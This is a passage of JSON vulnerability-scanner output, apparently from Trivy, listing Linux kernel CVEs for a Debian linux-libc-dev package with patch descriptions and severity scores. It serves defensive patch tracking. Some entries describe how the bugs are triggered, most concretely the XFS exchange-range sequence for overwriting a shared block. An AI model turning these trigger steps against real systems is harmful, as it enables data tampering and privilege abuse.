"https://git.kernel.org/stable/c/95b2e0361c88753afa030c10698be0a1a5b67650", "https://git.kernel.org/stable/c/fc5c52848e405b6efb073db5035bb9ebaed11ec4", "https://kernelcve.org/list/?q=CVE-2026-98742", "https://nvd.nist.gov/vuln/detail/CVE-2026-98742", "https://www.cve.org/CVERecord?id=CVE-2026-98742" ], "PublishedDate": "2026-10-18T16:17:27.92Z", "LastModifiedDate": "2026-10-30T13:21:22.93Z" }, { "VulnerabilityID": "CVE-2026-98769", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98769", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:51b024de536eb0256972817ea0bc0744820115c0593d014b2bb23acbaea7fdd1", "Title": "kernel: usb: gadget: f_uac1_legacy: validate bRequest index in generic_{set,get}_cmd", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: gadget: f_uac1_legacy: validate bRequest index in generic_{set,get}_cmd\n\ngeneric_set_cmd() and generic_get_cmd() use the low nibble of\nctrl-\u003ebRequest as an index into con-\u003edata[]:\n\n u8 cmd = (ctrl-\u003ebRequest \u0026 0x0F); /* 0 .. 15 */\n ...\n con-\u003edata[cmd] = value; /* OOB when cmd \u003e= 5 */\n\nstruct usb_audio_control (include/linux/usb/audio.h) declares data as\na 5-element array, so indices 5 through 15 write (or read) up to 44\nbytes past the end of the array on the heap.\n\nA malicious USB host can craft a class-specific SET_CUR / GET_CUR\nrequest with an arbitrary bRequest value, triggering the out-of-bounds\naccess from an IRQ completion handler with no further preconditions.\n\nAdd an ARRAY_SIZE() guard to both functions.", "Severity": "HIGH", "VendorSeverity": { "photon": 2, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.4 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98769", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98769.mbox", "https://git.kernel.org/stable/c/36f3f009049bc91e14dc856007932473318d12f8", "https://git.kernel.org/stable/c/3e655ebe0e45b7b026a4d3e6c10586b95164b3fd", "https://git.kernel.org/stable/c/697cfe6e53b66cda196d6f8833b0ee97fefd0a8a", "https://git.kernel.org/stable/c/8c611876c002d712ae5f246af5188432c708f79d", "https://git.kernel.org/stable/c/9062d50e75c24dc7911be05c9b1719b3b256af15", "https://git.kernel.org/stable/c/da841c1511a6160b8bc6bb7b7c6d4c9fb76fb51e", "https://git.kernel.org/stable/c/f0ff630d83c12c9a97637dded1dc27558bee3760", "https://git.kernel.org/stable/c/f8a4ddc23056560dc3333839a4c6998f644db303", "https://nvd.nist.gov/vuln/detail/CVE-2026-98769", "https://www.cve.org/CVERecord?id=CVE-2026-98769" ], "PublishedDate": "2026-10-18T16:17:30.813Z", "LastModifiedDate": "2026-10-30T13:21:26.617Z" }, { "VulnerabilityID": "CVE-2026-98805", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98805", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:cdead69f24b29a5c96cd25ad82511814c52f44ed43f4b119ac43e9d3b5cc1ee6", "Title": "kernel: tipc: prevent GCM nonce reuse on peer key changes", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ntipc: prevent GCM nonce reuse on peer key changes\n\nTIPC can encrypt traffic between nodes using a different transmit key\nfor each node. In this mode, the AES-GCM nonce for a packet sent to a\nknown peer consists of a 32-bit prefix (a per-key salt XOR the peer's\naddress) followed by a 64-bit counter. That counter is stored in the\npeer's RX crypto object. When the peer reports a change in which key\nit uses to receive packets, TIPC resets this counter. The sender can\nstill be using the same TX key and salt, so subsequent packets reuse\nearlier nonces. This nonce reuse breaks confidentiality and exposes\nGCM's authentication key. This makes forgeries trivial: an attacker\ncan exploit CTR malleability to alter captured ciphertexts and use the\nrecovered authentication key to compute a valid tag for the modified\nciphertext, under the same key and nonce.\n\nUse the TX key's existing aead-\u003eseqno counter instead. All encryptions\nusing that key object share the same atomic counter, so concurrent\nencryptions get distinct nonce counter values. The counter survives\nkey activation and peer reconnection, and peer key-status reports\ncannot reset it. This prevents those transitions from causing nonce\nreuse while the same TX key remains installed.\n\nThe nonce format is unchanged, and receivers do not require consecutive\ncounter values, so sharing the counter across peers remains compatible\nwith existing receivers. A pre-existing check still invokes key\nrevocation in the unlikely event that the counter wraps to zero.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 2, "photon": 4, "redhat": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98805", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98805.mbox", "https://git.kernel.org/stable/c/04d67f77fe3f9ec9c60db70773fb1696d0d58da8", "https://git.kernel.org/stable/c/0ff0ca5b514ceecad68b8682e072f373acc5acec", "https://git.kernel.org/stable/c/512ccd3d0e91e791fb37442aa0a2599aca19783d", "https://git.kernel.org/stable/c/5c8ce13c792e28d56f9ec3cd6728d8225bc0e3a2", "https://git.kernel.org/stable/c/60e0c2aeaa605ff19ca4e65126a35643d4d7ee1c", "https://git.kernel.org/stable/c/7e5d5ac25e0857548cac963a2f850b19b2e1d59c", "https://git.kernel.org/stable/c/a85a3dce4b6c73ddaa1e9725b906249744bf7cf2", "https://git.kernel.org/stable/c/f74f100e49588c1dbdc6ab3ba9e2c67b36d015d0", "https://nvd.nist.gov/vuln/detail/CVE-2026-98805", "https://www.cve.org/CVERecord?id=CVE-2026-98805" ], "PublishedDate": "2026-10-18T16:17:34.567Z", "LastModifiedDate": "2026-10-30T13:21:28.507Z" }, { "VulnerabilityID": "CVE-2026-98853", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "Status": "affected", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98853", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b2ce4865be1732c512308dbd736d74ebbf38c7a349a9a8d7aec95abebaaefdc1", "Title": "kernel: net: gso: limit recursive IP-in-IP segmentation", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: gso: limit recursive IP-in-IP segmentation\n\nIP-in-IP GSO can re-enter inet_gso_segment() or ipv6_gso_segment()\nfor each nested IP header. encap_level tracks header bytes, not callback\ndepth, so a deep chain can exhaust the kernel stack. Making\ninet_gso_segment() stackable introduced unbounded IPv4 nesting; IPIP\nGSO/TSO later made the path reachable. The IPv6 stackable path was\nintroduced separately and uses the same guard.\n\nCount IPv4 and IPv6 GSO handler entries in skb_gso_cb, initialized once\nper top-level GSO operation and preserved across GRE/UDP context changes.\nUse the existing IP_TUNNEL_RECURSION_LIMIT for both handlers. The first\nfive entries pass, and the sixth returns -EINVAL before dispatching\nanother GSO callback.", "Severity": "HIGH", "VendorSeverity": { "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98853", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98853.mbox", "https://git.kernel.org/stable/c/006c8b834aed8b02bd8fb9fb05e9e7ead37d1763", "https://git.kernel.org/stable/c/388604279da3d0698a151efa4fb6d852efa0de4a", "https://git.kernel.org/stable/c/c949646c900e879afce47df1b607fa320eb63bf2", "https://nvd.nist.gov/vuln/detail/CVE-2026-98853", "https://www.cve.org/CVERecord?id=CVE-2026-98853" ], "PublishedDate": "2026-10-18T16:17:39.733Z", "LastModifiedDate": "2026-10-30T13:21:30.87Z" }, { "VulnerabilityID": "CVE-2026-98857", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98857", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3f0fad5cc6a0d4e5125d7f2cfde8019936099d3716aff616891666be459c0055", "Title": "kernel: ipvs: bound LBLCR and LBLC cache growth", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipvs: bound LBLCR and LBLC cache growth\n\nip_vs_lblcr_new() and ip_vs_lblc_new() create cache entries for\nevery previously unseen destination address. The table max_size only\ntells the periodic collector to reclaim entries after the cache has\nalready exceeded the limit. It does not reclaim entries that the\nattacker continues to use.\n\nReject new cache entries once either table reaches max_size * 3 / 2.\nThe extra headroom lets the periodic collector catch up while the\nexisting scheduler fallback continues to use the selected destination\nwhen cache creation fails. New traffic therefore stays serviceable\nwithout growing the tables further.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98857", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98857.mbox", "https://git.kernel.org/stable/c/16c83c047ecfaf226ad81d45d77fa11a3184d0e4", "https://git.kernel.org/stable/c/2a3c3de660f96865f303fd25f1285f2ffbfd521d", "https://git.kernel.org/stable/c/31028d7b970962fbeda1e9131405c76551094300", "https://git.kernel.org/stable/c/488eaba207dd2e4c5afc65e18dc237d70f01d283", "https://git.kernel.org/stable/c/6316d17324bd4ca400c26adb7b656c6e3447c209", "https://git.kernel.org/stable/c/8b93288b4543ad5139a25a5b211a07bf755652dd", "https://git.kernel.org/stable/c/bc9ff8e64771cc32a216953fe615386f46ac1eaa", "https://git.kernel.org/stable/c/f6e9446bfb79907d3092fc45a0054b0c3b329bfe", "https://nvd.nist.gov/vuln/detail/CVE-2026-98857", "https://www.cve.org/CVERecord?id=CVE-2026-98857" ], "PublishedDate": "2026-10-18T16:17:40.15Z", "LastModifiedDate": "2026-10-30T13:21:31.347Z" }, { "VulnerabilityID": "CVE-2026-98927", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98927", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3c69e91446970412afb28325ffcba52c6c892670b7a21129dbd3039bee0c56d7", "Title": "kernel: KVM: arm64: nv: Fix life cycle of the nested_mmus array", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: arm64: nv: Fix life cycle of the nested_mmus array\n\nThe nested_mmus array holds the shadow page tables that are used when\na guest is running a nested context. These structures are allocated on\nVCPU_INIT for whole guest, which implies that they may have to be\nrelocated as the array grows.\n\nShould a VCPU_INIT occur whilst a vcpu is actively running an L2 and\nthat the allocation requires relocation, that vcpu will still be\nrunning with a pointer to the previous structure, which will have been\nfreed.\n\nFix this by turning the array of structures to an array of pointers,\nwhich is now allocated at VM creation, sized to the absolute maximum\nthat KVM can handle.\n\nIn turn, each VCPU_INIT contributes S2_MMU_PER_VCPU to the pool. No\nreallocation is ever performed, and the life cycle of each object is\nmuch clearer:\n\n- the nested_mmus array is allocated in kvm_init_nested(), and freed\n in kvm_arch_destroy_vm()\n\n- s2_mmu structures are allocated in kvm_vcpu_init_nested(), and freed\n on kvm_arch_flush_shadow_all()\n\nFinally, the freeing of vcpu-\u003earch.vncr_array is made consistent\nrather than being done on some failure paths, but not others.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98927", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98927.mbox", "https://git.kernel.org/stable/c/33346f8960c7bb6a3b4e273b5cfe25c5a8be349f", "https://git.kernel.org/stable/c/512c93f4461b9a3735987f48423d438a9cd49e6a", "https://git.kernel.org/stable/c/81e3f065a6485626f816d791dfd5e00ddd12eff5", "https://git.kernel.org/stable/c/ea242bdc29e8a8ff0e2447a64b3841114779f3af", "https://nvd.nist.gov/vuln/detail/CVE-2026-98927", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-98927" ], "PublishedDate": "2026-10-23T13:17:13.45Z", "LastModifiedDate": "2026-10-24T14:16:48.507Z" }, { "VulnerabilityID": "CVE-2026-98952", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98952", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:91aaf167abbf944b53b23bd600ccc5494ef8544c61bb8fa43e8a28bf34735bf2", "Title": "kernel: pfcp: make sure the SEID is linear before reading it", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\npfcp: make sure the SEID is linear before reading it\n\npfcp_encap_recv() only makes sure that the UDP header and the 4 byte\nPFCP header are in the linear area. When the S flag is set,\npfcp_session_recv() then reads the 8 byte SEID that follows, which is\nnot covered by the pskb_may_pull() check.\n\nA short PFCP packet with the S flag set, or one whose session header\nlies in a fragment, therefore makes pfcp_session_recv() read beyond the\nend of the packet data, and whatever it finds there is stored in the\ntunnel metadata that flower later classifies on.\n\nPull up to the end of the SEID before reading it, and drop packets\nthat are too short to contain it. Reload the header pointer afterwards\nsince pskb_may_pull() may reallocate the skb head.\n\nUse offsetofend() rather than sizeof(struct pfcphdr_session): the\nstructure is not packed, so its size is 16 bytes because of the\nalignment of the __be64 member, while the header on the wire is only 12\nbytes, and valid session messages would be dropped.", "Severity": "HIGH", "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98952", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98952.mbox", "https://git.kernel.org/stable/c/23609bce9e1de525d1d0e73fc68c6e7971d0b49e", "https://git.kernel.org/stable/c/2fb6d05f706d79bbdc88835be2f4f45ab56dd819", "https://git.kernel.org/stable/c/3192a5e398c64d48aad64a09e29643e327369bc4", "https://git.kernel.org/stable/c/b18a6496495495e2dc27e525aa3315a0c59b9513", "https://nvd.nist.gov/vuln/detail/CVE-2026-98952", "https://www.cve.org/CVERecord?id=CVE-2026-98952" ], "PublishedDate": "2026-10-23T13:17:16.37Z", "LastModifiedDate": "2026-10-24T14:16:49.163Z" }, { "VulnerabilityID": "CVE-2026-98974", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98974", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:66e4f3bdf8124960b6530ca82c14696d15414aedd6a0a743a7b7883b3750cde7", "Title": "kernel: kernel: xfs: Unauthorized data modification via improper file size exchange handling", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfs: fix exchange-range-to-eof file size exchange\n\nNorbert Szetei posted a patch containing an incomplete description of a\nbug in XFS_IOC_EXCHANGE_RANGE's TO_EOF flag. The bug tricks\nexchange-range into modifying a file so that it has shared blocks\nstarting beyond EOF, which is never allowed because files never have\nwritten data beyond EOF, and you can only share written data blocks.\nThis is key to all the incorrect behavior that follows.\n\nEventually I got from Norbert a description of what's going wrong:\n\n\u003e Fair. Here it is with physical block numbers, 4k blocks. peer is the file\n\u003e that gets rewritten and file1 is the one that ends up with the flag\n\u003e cleared.\n\u003e\n\u003e Start, nothing shared:\n\u003e\n\u003e\tpeer size 4096 -\u003e [100]\n\u003e\tfile1 size 12288 -\u003e [200] [201] [202]\n\u003e\tdonor1 size 4096 -\u003e [300]\n\u003e\tdonor2 size 4096 -\u003e [400]\n\u003e\n\u003e 1. FICLONERANGE peer's block into file1's middle slot:\n\u003e\n\u003e\tpeer size 4096 -\u003e [100]\n\u003e\tfile1 size 12288 -\u003e [200] [100] [202] reflink flag set\n\u003e ^^^^^ both files own block 100\n\u003e\n\u003e 2. XFS_IOC_EXCHANGE_RANGE file1 against donor1, file1_offset 0,\n\u003e file2_offset 8192, length 0, TO_EOF. One block is exchanged, and the sizes\n\u003e are exchanged with it:\n\u003e\n\u003e\tfile1 size 4096 -\u003e [200] [100] [300] reflink flag set\n\u003e ^^^^^^^^^^^ still owned, now past the size\n\u003e\tdonor1 size 12288 -\u003e [202]\n\u003e\n\u003e file1 says it is one block long while it still owns three. Nothing was\n\u003e unmapped. file2_offset is block 2, so this exchange cannot clear a flag.\n\u003e\n\u003e 3. XFS_IOC_EXCHANGE_RANGE file1 against donor2, both offsets 0, length 4096.\n\u003e By i_disk_size this is two one-block files exchanging everything, so\n\u003e xmi_can_exchange_reflink_flags() agrees and the flag is cleared:\n\u003e\n\u003e\tfile1 size 4096 -\u003e [400] [100] [300] reflink flag CLEARED\n\u003e\tdonor2 size 4096 -\u003e [200]\n\u003e\n\u003e Block 100 is still shared with peer.\n\u003e\n\u003e 4. pwrite(file1, 4096, 4096), which is file1's second slot, block 100.\n\u003e xfs_is_cow_inode(file1) is false, so no CoW:\n\u003e\n\u003e\tpeer size 4096 -\u003e [100] same block, new contents\n\u003e\n\u003e Block 100 is the only one that matters here. PoC below, it reads a file\n\u003e called peer in the current directory. The filesystem needs reflink and\n\u003e exchange-range, which mkfs.xfs 7.x turns on by default.\n\nSo yes, TO_EOF is screwing up the file size even if it's actually\nexchanging the data block correctly. The following is the intended\nbehavior of XFS_EXCHANGE_RANGE_TO_EOF, as described by its manpage:\n\n\"Ignore the length parameter. All bytes in file1_fd from file1_offset\n to EOF are moved to file2_fd, and file2's size is set to\n (file2_offset+(file1_length-file1_offset)). Meanwhile, all bytes in\n file2 from file2_offset to EOF are moved to file1 and file1's size is\n set to (file1_offset+(file2_length-file2_offset)).\"\n\nIn other words, if we only exchange a portion of the file data, then we\nshould only exchange the portion of the file size that relates to the\nexchanged data. Unfortunately, the code swaps the ondisk file size and\nthe incore file sizes, which is incorrect if the caller passes in a\nnonzero offset.\n\nHaving confused the file sizes, the PoC uses a second exchange-range\ncall on what looks like a non-reflinked single-block file. Because the\nfile size is set incorrectly, exchange-range thinks it's exchanging the\nfull contents of two files and clears the reflink flag on the broken\nfile. That enables an extending write of the broken file to rewrite the\nshared block that's just past EOF. This has become known colloquially\nas refluxfs.\n\nOnce the file sizes are set correctly, the second exchange-range no\nlonger thinks that it's doing a full-contents swap, so it won't clear\nthe reflink flag on either of its file arguments.\n\nNorbert followed up to an earlier version of this patch with a second\ncomplaint about us not handling the i_disk_size state correctly:\n\n\u003e The offsets are bounded against the incore i_size but subtracted from\n\u003e\n---truncated---", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:95367", "https://access.redhat.com/security/cve/CVE-2026-98974", "https://bugzilla.redhat.com/2507296", "https://bugzilla.redhat.com/2516278", "https://bugzilla.redhat.com/2516412", "https://bugzilla.redhat.com/2516674", "https://bugzilla.redhat.com/2521419", "https://bugzilla.redhat.com/2532407", "https://bugzilla.redhat.com/2536264", "https://bugzilla.redhat.com/2559811", "https://bugzilla.redhat.com/show_bug.cgi?id=2507296", "https://bugzilla.redhat.com/show_bug.cgi?id=2516278", "https://bugzilla.redhat.com/show_bug.cgi?id=2516412", "https://bugzilla.redhat.com/show_bug.cgi?id=2516674", "https://bugzilla.redhat.com/show_bug.cgi?id=2521419", "https://bugzilla.redhat.com/show_bug.cgi?id=2532407", "https://bugzilla.redhat.com/show_bug.cgi?id=2536264", "https://bugzilla.redhat.com/show_bug.cgi?id=2559811", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64378", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72080", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72221", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72222", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89488", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90315", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98974", "https://errata.almalinux.org/10/ALSA-2026-95367.html", "https://errata.rockylinux.org/RLSA-2026:95367", "https://git.kernel.org/stable/c/7dfb218c829c1acb626e0fe92c5fddb9a26a03e9", "https://git.kernel.org/stable/c/952b5c99a840c2bff1f6645fd5e06e1db6ec2623", "https://git.kernel.org/stable/c/b361d32b884f8ddcb9bad5d99b69eece648f8e43", "https://git.kernel.org/stable/c/cf32eb20dfacfd2e92ce86ba1fece9ae5f98a7d8", "https://linux.oracle.com/cve/CVE-2026-98974.html", "https://linux.oracle.com/errata/ELSA-2026-95367.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98974", "https://www.cve.org/CVERecord?id=CVE-2026-98974" ], "PublishedDate": "2026-10-23T13:17:19.013Z", "LastModifiedDate": "2026-10-24T14:16:49.923Z" }, { "VulnerabilityID": "CVE-2026-98999", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "Status": "affected", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98999", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e93717ee340e520cd5d299ab11e9c7fe6393b97e5596db393cb2f7b0f99e74f2", "Title": "kernel: drm/xe: Fix stale pinned_link entry when fb-pin performs the final unpin", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/xe: Fix stale pinned_link entry when fb-pin performs the final unpin\n\nxe_bo_pin_external() and xe_bo_unpin_external() maintain the bo's\npinned_link list membership in xe-\u003epinned.late.external, based on\nwhether the current call is the outermost pin or the final unpin.\nHowever, the same external bo's pin_count can also be raised and\nlowered directly by __xe_pin_fb_vma()/__xe_unpin_fb_vma(), which pin\nthe bo as a display scanout buffer without going through\nxe_bo_pin_external()/xe_bo_unpin_external() at all, and have no\nnotion of, or ownership over, pinned_link.\n\nIf a bo is pinned both externally (e.g. dma-buf export) and as an fb,\nand the external unpin happens first, xe_bo_unpin_external() correctly\nobserves pin_count \u003e 1 and leaves the bo on pinned_link. When the fb\nunpin later performs the true last unpin (pin_count 1 -\u003e 0), it never\ntouches pinned_link, leaving the bo linked on xe-\u003epinned.late.external\nindefinitely. Once the bo is subsequently freed, this stale list entry\npoints into freed memory, corrupting the list and risking a\nuse-after-free the next time the list is walked or spliced.\n\nThe backup object pin/unpin sites in xe_bo_notifier_prepare_pinned()/\nxe_bo_notifier_unprepare_pinned() have the same bypass characteristic,\nthough they never add their bo to a pinned list, so are not affected\nby this particular list-corruption issue.\n\nMove the pinned_link removal into xe_bo_account_unpin(), which already\nruns on every unpin path (kernel, external, framebuffer, backup\nobject) right before the true 1 -\u003e 0 pin_count transition. Since\nlist_del_init() only operates on the node itself, this removal is\nlist-agnostic and safe to perform regardless of which list (external\nor kernel_bo_present) the bo happens to be linked on, or which code\npath is performing the final unpin. Drop the now-redundant explicit\nlist_del_init() calls in xe_bo_unpin_external() and xe_bo_unpin().\n\nv2:\n- New patch\n\nv3:\n- Rebased on changes to previous patch.\n\n(cherry picked from commit ca58d36a1f93af586ee93b340c9f9fd81312cc01)", "Severity": "HIGH", "VendorSeverity": { "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98999", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98999.mbox", "https://git.kernel.org/stable/c/3a11adcfd9a2de74d405bd3e8c4d7a1b328e4684", "https://git.kernel.org/stable/c/b3eaff982839e5c22912d604cd8e7748cece8d63", "https://git.kernel.org/stable/c/cf238c067eaae1cbfb00738e29219b9568d2313e", "https://nvd.nist.gov/vuln/detail/CVE-2026-98999", "https://www.cve.org/CVERecord?id=CVE-2026-98999" ], "PublishedDate": "2026-10-23T13:17:22.177Z", "LastModifiedDate": "2026-10-24T14:16:51.61Z" }, { "VulnerabilityID": "CVE-2026-99018", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-99018", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:60222b533c1dab004ce764c34aeab8a06ac5edf5e842c1450f5d16266272e733", "Title": "kernel: kernel: privilege escalation via improper shadow call stack pointer reload on RISC-V", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nriscv: entry: gate shadow call stack reload on sstatus.SPP, not tp\n\nUnder CONFIG_SHADOW_CALL_STACK, handle_exception() reloads the kernel\nshadow call stack pointer (gp) only when the trap came from userspace.\nIt made that decision with 